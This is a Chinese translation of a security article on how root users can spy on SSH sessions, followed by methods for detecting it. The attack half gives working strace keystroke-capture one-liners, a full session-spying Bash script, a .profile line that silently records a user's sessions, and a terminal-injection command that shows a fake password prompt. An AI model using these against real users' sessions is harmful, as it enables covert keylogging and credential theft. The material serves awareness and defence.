原文地址:https://www.infosecmatter.com/ssh-sniffing-ssh-spying-methods-and-defense/
众所周知,SSH是一种安全的网络协议,在本质上是安全的,不会受到网络数据包嗅探和窃听的威胁,因为该协议应用了加密技术。如果我们安全地使用SSH协议,那么遭受中间人攻击的风险确实是很小的。
然而,这并不意味着SSH是100%安全的,也无法防御所有的嗅探攻击。我们通过SSH连接到服务器时,并不意味着没有人可以看到我们正在做什么。
这篇文章的主题是关于SSH会话嗅探、SSH窥探、SSH间谍的,或者您随便怎么称呼它都可以。虽然这不是什么新鲜技术,并且已经存在了很长时间,但时常回顾一下也不是什么坏主意。
SSH会话嗅探通常涉及附加到一个SSH进程并拦截正在调用的系统调用,例如从键盘上读取按键,在控制台打印出字符的系统调用等。
使用strace工具,我们就可以附加到一个进程上;这是一个强大的诊断和调试工具。同时,Strace还可以跟踪一个特定进程产生或接收的系统调用和信号。
另一个可用于监视SSH会话的程序是script工具,这是一个非常有用的程序,用于记录终端会话并生成日志文件(转录)。
关于SSH最令人担忧的事情之一是,当我们连接到一个远程SSH服务器时,该服务器上的任何特权用户(例如root用户)都可以窥视我们的SSH会话,包括我们要从该服务器启动的任何SSH连接。
这基本上意味着,一个恶意的管理员可以监视服务器上所有的入站和出站的SSH连接。
另一个需要意识到的问题是,如果你正在进行渗透测试,而你碰巧入侵了某些系统的root用户,这就意味着你不仅可以窥探进程,并且还可以窥探任何正在进行的SSH会话。这在渗透测试中可能会很用。
SSH间谍活动显然是一种非常强大的技术,值得我们注意。下面,让我们仔细回顾一下。
下面的章节包含了各种技巧,这些技巧可以用来滥用SSH连接,SSH键盘记录,SSH会话嗅探,等等,从实践的角度来看,这些技术都非常有用。
下面是一个简单的例子,说明如何在一个正在进行的SSH会话中捕获按键。我们所需要的只有想要监视的SSH进程的PID:
strace -e trace=read -p <PID> 2>&1 | while read -r a; do grep '^read.*= [1-9]$' <<<"$a" | cut -d\" -f2; done
下面的命令功能相同,但是输出的可读性略有提高:
strace -e trace=read -p <PID> 2>&1 | while read -r a; do grep '^read.*= [1-9]$' <<<"$a" | cut -d\" -f2 | tr -d '\n'; done
这种方法,实际上就是通过使用strace来捕获目标SSH进程正在调用的read()API调用。
不过,其优点是快速而简单,在大多数情况下足以观察到用户正在输入的内容,但是无法显示用户在控制台看到的内容。
如果再花点功夫,我们也可以用strace捕获write() API调用。这些调用负责在控制台中打印出发生在SSH会话中的输出内容。
这允许我们实现完整的SSH间谍功能。下面是一个小Bash脚本(sshspy.sh),它应该可以实现这一点:
#!/bin/bash
# By infosecmatter.com
trap 'rm -f -- ${tmpfile}; exit' INT
tmpfile="/tmp/$RANDOM$$$RANDOM"
pgrep -a -f '^ssh ' | while read pid a; do echo "OUTBOUND $a $pid"; done >${tmpfile}
pgrep -a -f '^sshd: .*@' | while read pid a; do
tty="${a##*@}"
from="`w | grep ${tty} | awk '{print $3}'`"
echo "INBOUND $a (from $from) $pid"
done >>${tmpfile}
IFS=$'\n'; select opt in `cat ${tmpfile}`; do
rm -f -- ${tmpfile}
pid="${opt##* }"
wfd="[0-9]"
rfd="[0-9]"
strace -e read,write -xx -s 9999999 -p ${pid} 2>&1 | while read -r a; do
if [[ "${a:0:10}" =~ ^write\(${wfd}, ]] \
&& [ ${#wfd} -le 3 ] \
&& ! [[ "$a" =~ \ =\ 1$ ]]; then
echo -en "`cut -d'"' -f2 <<<${a}`"
elif [[ "${a:0:10}" =~ ^read\(${rfd}, ]] \
&& [ ${#rfd} -le 3 ]; then
echo -en "`cut -d'"' -f2 <<<${a}`"
elif [[ "$a" =~ ^read\((${rfd}+),.*\ =\ [1-9]$ ]]; then
fd="${BASH_REMATCH[1]}"
if [[ "$a" =~ \ =\ 1$ ]]; then
rfd="$fd"
fi
elif [[ "${a:0:10}" =~ ^write\((${wfd}+), ]] \
&& [ ${#wfd} -gt 4 ]; then
fd="${BASH_REMATCH[1]}"
if [[ "${a}" =~ \\x00 ]]; then continue; fi
if [[ "${a}" =~ \ =\ 1$ ]] || [[ "${a}" =~ \"\\x0d\\x0a ]]; then
wfd="$fd"
fi
fi
done
echo ">> SSH session ($opt) closed"
exit 0
done
下面是该脚本的运行截图:
正如你所看到的,我们成功地窥探了Jeff的SSH会话,并发现了Jeff在所连接的服务器上的MySQL凭证。
此外,读者也可以在GitHub仓库中找到这个脚本。
https://github.com/InfosecMatter/Scripts/blob/master/sshspy.sh
捕获整个SSH会话的另一种方法是使用上面提到的script工具。这里唯一的限制是,它必须事先设置好,也就是说,它对现有的(正在进行的)SSH会话不起作用。
下面展示如何进行相应的设置,以便通过script工具捕获特定用户的SSH会话:
echo 'exec script -a -f -q -c /bin/bash ~/.ssh.log' >>/home/user1/.profile
当user1下次登录系统时,他的整个SSH会话将被记录在他的$HOME/.ssh.log文件中。然后,我们就可以窥探他的SSH会话了,例如借助于tail程序:
tail -f /home/user1/.ssh.log
虽然这不是一个非常隐蔽的技术,但有时它也能够派上用场。例如,打算建立SSH蜜罐的时候。
这个方法并不涉及滥用SSH进程本身,但值得注意的是,root用户(或tty组中的任何人)可以使用简单的echo命令向任何控制台(或伪终端)注入任意的字符。
这里有一个例子:
echo -en "\r\nWARNING: System will reboot in 60 seconds.\r\nTo abort, enter your password: " >>/dev/pts/5
下面是在 "受害者 "控制台/dev/pts/5上看到的内容:
已将字符注入/dev/pts/x
我们只需要知道目标SSH进程使用了哪个伪终端(/dev/pts/xx),这对于任何sysadmin来说都是非常容易的:
# ps -ax -o pid,tty,cmd | grep 'ssh '
15957 pts/5 ssh root@aws53
12743 pts/3 grep ssh
实际上,向正在进行SSH会话的控制台注入字符可以与SSH间谍和键盘记录技术一起使用,以便从毫无戒心的用户那里获取证书。
这对于渗透测试或红队来说可能很方便,但作为网络安全专家,我们自己当然不应该上当受骗。
终端是一种有趣的东西,我们不应该盲目地相信我们所看到的一切。
这是真的,root用户真的可以在系统上做任何事情,我们不应该怀疑这一点。实际上,还有一种滥用SSH的方法比上述所有的方法都要更恶心。
由@nopernik创建的SSHPry项目允许你完全接管任何正在进行的SSH会话。这也包括与SSH会话的互动。不信的话,看看这个演示就知道了。
[请在这里插入演示视频的地址 ,我这里被墙了,抓不到地址!!!!!!!!!!!!]
SSHPry是通过控制目标TTY控制台(/dev/pts/XX)来工作的,它甚至可以记录和回放以前的会话。
这是一个真正的终极演示,展示了SSH会话如何被恶意管理员滥用,以及为什么我们应该在共享服务器上使用SSH时保持警惕。
本节提供了一些实用的技巧,可用于抵御这些滥用SSH的技术,或者至少我们应该知道如何发现它们。
一旦你通过SSH登录到一个系统,应该立即检查该系统上是否启用了ptrace。
Ptrace在大多数系统上都是默认启用的,但生产系统很少需要使用调试工具。一般建议在生产模式的系统上禁用任何与ptrace有关的功能。
下面是具体的检查方法:
sysctl kernel.yama.ptrace_scope
如果你看到的不是3,就意味着系统上启用了trace(3意味着禁用)。关于这方面的更多信息可以在这里找到。
ptrace的特性决定了它一次只能跟踪一个观察对象。您不能同时附加到一个进程上两次,这是我们可以用来确定是否有人附加到我们的进程上的方法。
下面介绍如何用strace跟踪自己的SSH进程:
\# ps axwwf | grep -B2 $$
923 ? Ss 1:21 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
8852 ? Ss 0:00 \_ sshd: root@pts/5
8960 pts/5 Ss 0:00 \_ -bash
5699 pts/5 R+ 0:00 \_ ps axwwf
5700 pts/5 S+ 0:00 \_ grep --color=auto -B2 908960
\# strace -e none -p 8852
strace: Process 8852 attached
在本例中,似乎一切都很好,因为我们可以附加到这个进程上面。
另一方面,如果你看到像下面这样的错误,而且你是以root用户身份登录的,那么很可能有人在监视你:
strace: attach: ptrace(PTRACE_SEIZE, 8852): Operation not permitted
请注意,由于某些原因,如果你以普通(非root)用户的身份尝试,会看到同样的错误,所以这个方法只有在你是root用户时才真正有效。
一般来说,如果你能用strace成功地附加到你的任何进程上,就可以认为没有其他人在用strace监视相应的进程。
通过检查流程列表树,我们可以发现SSH会话是否存在可疑的情况。
例如,如果我们看到像下面这样的进程列表,我们可以假设我们的会话正在被script工具所记录:
user1@kali:~$ ps axwwf | grep -B2 $$
5228 ? S 0:00 \_ sshd: user1@pts/6
5229 pts/6 Ss+ 0:00 \_ script -a -f -q -c /bin/bash /home/user1/.ssh.log
5236 pts/7 Ss 0:00 \_ /bin/bash
5648 pts/7 R+ 0:00 \_ ps axwwf
5649 pts/7 S+ 0:00 \_ grep -B2 5236
user1@kali:~$
看到在sshd进程之后、我们的shell之前的script命令了吗?
注意,在Linux上,有一些方法可以从进程列表中隐藏和替换程序名称(包括参数),所以不要总是指望它。一个这样的例子是zap-args,它可以用LD_PRELOAD来实现上面的目的。
一个正常的进程列表树应该是这样的:
user1@kali:~$ ps axwwf | grep -B2 $$
5228 ? S 0:00 \_ sshd: user1@pts/6
5236 pts/6 Ss 0:00 \_ /bin/bash
5648 pts/6 R+ 0:00 \_ ps axwwf
5649 pts/6 S+ 0:00 \_ grep -B2 5236
user1@kali:~$
注意,在sshd进程和shell进程之间没有其他进程。在这种情况下,你可以安全地认为该SSH会话没有被记录。
尽管听起来很不爽,但当你连接到一个你不能完全控制的系统时,你永远不可能真正安全。这是千真万确的。
同时,你也可能永远都无法检测到是否有人在监视你。这是不可能的,特别是考虑到LKM(可加载内核模块),因为它允许一个恶意的管理员为所欲为。
因此,不要指望上述方法能成为灵丹妙药。即使上面的所有步骤都告诉你是安全的,也不要认为万事大吉。在一个你无法完全掌控的服务器上,任何事情都有可能。
如果说我想让你从这篇文章中得到什么,那就是上面的那个结论。
请注意,当你通过SSH连接到远程服务器时,如果这不是你自己的服务器,那么你在控制台上输入或看到的任何敏感数据都可能被泄露给管理该服务器的管理员。
这当然包括你的密码。如果密码没有打印在控制台上,或者隐藏在星号符号下,那就无所谓了。不过,你输入的任何东西都可能而且能够被上面描述的方法所捕获。
如果你喜欢这篇文章,并希望得到更多信息,请考虑在Twitter、Facebook或Github上订阅和关注InfosecMatter,以了解最新进展。
本文作者:mssp299
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/158105.html